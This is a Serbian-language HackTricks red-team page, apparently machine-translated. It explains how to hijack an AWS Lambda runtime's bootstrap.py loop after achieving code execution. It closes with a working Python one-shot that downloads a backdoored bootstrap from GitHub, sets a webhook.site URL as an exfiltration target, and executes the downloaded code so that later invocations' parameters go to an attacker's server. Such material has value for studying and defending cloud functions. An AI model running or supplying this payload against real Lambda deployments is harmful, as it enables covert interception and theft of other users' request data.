AWS - Steal Lambda Requests

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Lambda Tok

  1. Slicer je proces van kontejnera koji šalje pozive inicijalnom procesu.

  2. Inicijalni proces osluškuje port 9001 izlažući neke zanimljive endpointove:

  • /2018-06-01/runtime/invocation/next – dobijanje sledećeg događaja poziva

  • /2018-06-01/runtime/invocation/{invoke-id}/response – vraćanje odgovora handlera za poziv

  • /2018-06-01/runtime/invocation/{invoke-id}/error – vraćanje greške izvršenja

  1. bootstrap.py ima petlju koja dobija pozive od inicijalnog procesa i poziva korisnički kod da ih obradi (/next).

  2. Na kraju, bootstrap.py šalje inicijalnom procesu odgovor

Imajte na umu da bootstrap učitava korisnički kod kao modul, tako da svako izvršavanje koda koje obavlja korisnički kod zapravo se dešava u ovom procesu.

Ukradene Lambda Zahteve

Cilj ovog napada je da se natera korisnički kod da izvrši zlonamerni bootstrap.py proces unutar bootstrap.py procesa koji obrađuje ranjiv zahtev. Na ovaj način, zlonamerni bootstrap proces će početi komunicirati sa inicijalnim procesom kako bi obradio zahteve dok je legitimni bootstrap zarobljen izvršavajući zlonamerni, tako da neće tražiti zahteve od inicijalnog procesa.

Ovo je jednostavan zadatak za postizanje jer se kod korisnika izvršava od strane legitimnog bootstrap.py procesa. Dakle, napadač bi mogao:

  • Poslati lažan rezultat trenutnog poziva inicijalnom procesu, tako da inicijalni proces misli da bootstrap proces čeka na više poziva.

  • Zahtev mora biti poslat na /${invoke-id}/response

  • invoke-id se može dobiti iz steka legitimnog bootstrap.py procesa koristeći inspect python modul (kao što je predloženo ovde) ili jednostavno ponovno zahtevajući sa /2018-06-01/runtime/invocation/next (kao što je predloženo ovde).

  • Izvršiti zlonamerni boostrap.py koji će obraditi sledeće pozive

  • Radi prikrivenosti, moguće je poslati parametre lambda poziva ka kontrolisanom C2 napadača, a zatim obraditi zahteve kao i obično.

  • Za ovaj napad, dovoljno je dobiti originalni kod bootstrap.py sa sistema ili github-a, dodati zlonamerni kod i pokrenuti ga iz trenutnog lambda poziva.

Koraci Napada

  1. Pronađite RCE ranjivost.

  2. Izvršite zlonamerni bootstrap.

Ove akcije možete lako izvršiti pokretanjem:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Za više informacija pogledajte https://github.com/carlospolop/lambda_bootstrap_switcher

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated